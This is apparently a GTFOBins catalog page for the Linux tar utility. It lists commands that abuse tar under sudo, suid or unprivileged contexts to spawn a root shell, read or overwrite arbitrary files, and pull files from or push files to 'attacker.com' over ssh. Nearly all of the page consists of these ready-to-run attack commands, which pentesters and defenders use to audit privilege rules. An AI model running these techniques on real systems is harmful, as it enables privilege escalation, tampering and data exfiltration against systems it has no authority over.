CatalogGTFOBins

GTFO · Tool

tar

21 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege EscalationLinux

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
download
MITRE
T1105

download

File DownloadLinux

The attacker box must have the `rmt` utility installed.

tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege EscalationLinux

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The file is read then passed to the specified command (e.g., `tar xO`) via standard input.

tar cf /dev/stdout /path/to/input-file -I 'tar xO'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

The archive can also be prepared offline then uploaded to the target.

echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege EscalationLinux
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux

The archive can also be prepared offline then uploaded to the target.

echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

upload

File UploadPrivilege EscalationLinux

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege EscalationLinux

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
upload
MITRE
T1041

upload

File UploadLinux

The attacker box must have the `rmt` utility installed.

tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
upload
MITRE
T1041